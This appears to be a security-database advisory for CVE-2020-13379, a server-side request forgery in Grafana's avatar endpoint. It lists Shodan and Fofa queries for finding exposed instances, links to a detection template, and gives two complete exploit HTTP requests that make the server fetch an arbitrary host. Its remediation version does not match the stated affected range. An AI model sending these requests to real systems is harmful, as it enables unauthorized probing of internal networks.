🔙 목록으로 돌아가기

CVE-2020-13379: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery

TitleGrafana 3.0.1-7.0.1 - Server-Side Request Forgery
AuthorJoshua Rogers
SeverityHigh
ImpactAn attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
RemediationUpgrade to 6.3.4 or higher.
CVSS Score8.2
EPSS Score0.93254
CVE IDCVE-2020-13379
CWE IDCWE-918
Shodan Querytitle:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana"
Fofa Querytitle="grafana"app="grafana"
Tags cve2020 cve grafana ssrf vkev vuln

🔍 Vulnerability Description

Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13379.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-13379.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A